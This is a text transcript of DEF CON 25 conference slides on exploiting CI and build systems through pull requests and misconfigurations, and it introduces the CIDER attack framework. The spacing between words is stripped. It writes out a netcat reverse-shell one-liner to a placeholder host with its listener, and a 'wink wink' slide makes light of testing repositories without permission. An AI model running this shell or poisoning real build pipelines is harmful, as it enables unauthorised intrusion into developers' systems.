Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... ·...

56
Exploiting Continuous Integration (CI) and Automated Build Systems And introducing CIDER

Transcript of Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... ·...

Page 1: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Exploiting Continuous Integration (CI) and

Automated Build Systems

And introducing CIDER

Page 2: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Whoami

• SpaceB0x• Sr.SecurityEngineeratLeanKit• Applicationandnetworksecurity(offenseanddefense)• Ilikebreakingintosystems,buildingsystems,andlearning• Securityconsultant

Page 3: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

./agenda.sh

• OverviewofContinuousIntegrationconcepts• ConfigurationVulnerabilitiesvs.ApplicationVulnerabilities• Realworldexploit#1• CommonBad-practices• Realworldexploit#2– AttackingtheCIprovider• IntroduceCIDER

Page 4: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ContinuousIntegration

Page 5: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ContinuousIntegration(CI)

• Quickiterativereleaseofcodetoproductionservers• UsuallyManyiterationsperweekorevenperday.• Repositorycentric• InsyncwithAutomatedBuild• Forinfrastructure/servers/subnetsetc.

Page 6: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Microservices

• Breakingdownlargeappintosmalldecoupledcomponents• Thesecomponentsinteractwitheachother• Eliminatessinglepointsoffailure• Autonomousdevelopment

Page 7: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

SecurityImplications

• Good- Frequentreleasecyclesarefabulous!• Good- Fastercodedeployments=quickremediation• Good- Decoupledsystemsreducedsinglepointsoffailure• Good- Compromiseofoneservicedoesn’t(always)meanfullpwnage

Page 8: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

SecurityImplications

• Good- Frequentreleasecyclesarefabulous!• Good- Fastercodedeployments=quickremediation• Good- Decoupledsystemsreducedsinglepointsoffailure• Good- Compromiseofoneservicedoesn’t(always)meanfullpwnage

• Bad- Fastreleasesometimesmeanshastyoversights• Bad– AutomatedDeploymentsystemsarechecked lessthanthecodethattheydeploy

Page 9: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Tools

Page 10: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

BuildSystems

• Takecodeandbuildconditionally• Typicallyinaquasicontainerizedtypeofenvironment• Bothlocalandcloudbasedarepopular

• Vendor:ØTravis-CIØCircle-CIØDroneØTeamCityØBuildKite

Page 11: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

DeploymentSystems

• Deploythecodeafterbuild• Headingmoreandmoretowardcontainerdriven

• VendorsØJenkinsØOctopusDeployØKubernetesØRancherØMesosphere

Page 12: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ChainsofDeployment

Page 13: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ChainsofDeployment

Page 14: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Chainsofdeployment

Page 15: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ChecksintheSDLC

• Buildtestbeforemerges• Web-hookstriggerspecificactionsbasedonconditions• Servicesconfiguredwithoutregardtooneanother

Page 16: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ConfigurationProblems

Page 17: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

GitHub– Hugeattacksurface

• Pullrequestsandcommitstriggerbuilds• Buildconfigurationsnormallyinrootofrepo• Thusbuildconfig changecanbepartofPRorcommit• Gaincontrolofmultiplesystemsthroughpullrequests

Page 18: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

VulnerabilitiesareinMisconfiguration

• Creativeconfigurationexploitation• Vuln stackingatit’sfinest• Eachindividualservicemaybefunctioningexactlyasintended• Interactionbetweenservicesiswheremanyvulnerabilitieslie

Page 19: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

ExternalRepos

• Mostvolatileattacksurface• Publicrepositorieswhichmaptointernalbuildservices

Page 20: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

RealWorldHax #1

Page 21: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 22: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 23: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 24: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 25: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 26: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

mknod /tmp/backpipe p

Page 27: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe

Page 28: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

mknod /tmp/backpipe p/bin/sh 0</tmp/backpipe|nc x.x.x.x 4444 1>/tmp/backpipe

nc –l 4444

Page 29: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

root

Page 30: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Bad-PracticesWorst-Practices

Page 31: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

EnvironmentVars

• Beingusedtostorecredentials• Storingmetadataforotherserviceswithinmicro-serviceinfrastructure

Page 32: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Runeverythingasroot

• Justacontainer,rightguyz?• Younowhaveinternalnetworkaccess• Fullcontroltobuildaugmenttheimage

Page 33: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIProviderInfoleak

• ProblemswiththeCIProvidersthemselves• LeakSSHkeys,etc.whichcancompromiseothercustomersonhost• CIprovidershaveatleastsomepermissionstoGitHubrepos• CloudbasedCIprovidershaveahostingenvironment• Speakingofwhich…

Page 34: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

RealWorldHax #2

Page 35: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 36: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing
Page 37: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

IntroducingCIDER

Page 38: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR

Page 39: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains

Page 40: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices

Page 41: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices• Takesthemessoutforking,PR-ing,callbacking

Page 42: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhatisCIDER?

•ContinuousIntegrationandDeploymentExploiteR• FrameworkforexploitingandattackingCIbuildchains• MainlyleveragesGitHubasattacksurfacetogettobuildservices• Takesthemessoutforking,PR-ing,callbacking• Itwillpoisonahandfulofbuildservicesand”exploits”foreachone

Page 43: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WhyCIDER?

• Fun• Makeattackingeasy• Awareness• RottenApple by@claudijd• Facilitatefurtherresearch

Page 44: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDERoverview

Page 45: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDER– ‘help’

Page 46: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDER– ‘addtarget’&‘listtargets’

Page 47: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDER– ‘load’and‘info’

Page 48: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

CIDERfeatures

• Node.JS• Buildmodularly• Canhandlebulklistsoftargetrepos• CleanupforGitHubrepocraziness• Ngrok – becauseportforwardingandpublicIPssuck

Page 49: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Ngrok

Page 50: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Disclaimer

• ItisagainsttheGitHubuseragreementtotestagainstarepository,evenifyouhavepermissionfromtheowneroftherepo

• Youmustbetheownertotestarepo• Whentestingaskthemtomakeyouanowner

Page 51: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

WINKWINK

Page 52: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

DEMO

Page 53: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Limitations

• BuildQueues• GitHubNoise• Timeouts• RepoAPIrequestthrottling

Page 54: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Justthebeginning…

• MoreCI-Frameworks• Starttacklingdeploymentservices• Startexploringotherentrypoints

• Othercoderepositories• ChatOps (Slack)

Page 55: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Thanks

• LeanKitOperationsTeam• EvanSnapp• @claudijd

Page 56: Exploiting Continuous Integration (CI) and Automated Build … CON 25/DEF CON 25... · 2017-07-14 · Exploiting Continuous Integration (CI) and Automated Build Systems And introducing

Fin

CIDERonGithub: https://github.com/spaceB0x/cider

Twitter:@spaceB0xxwww.untamedtheory.com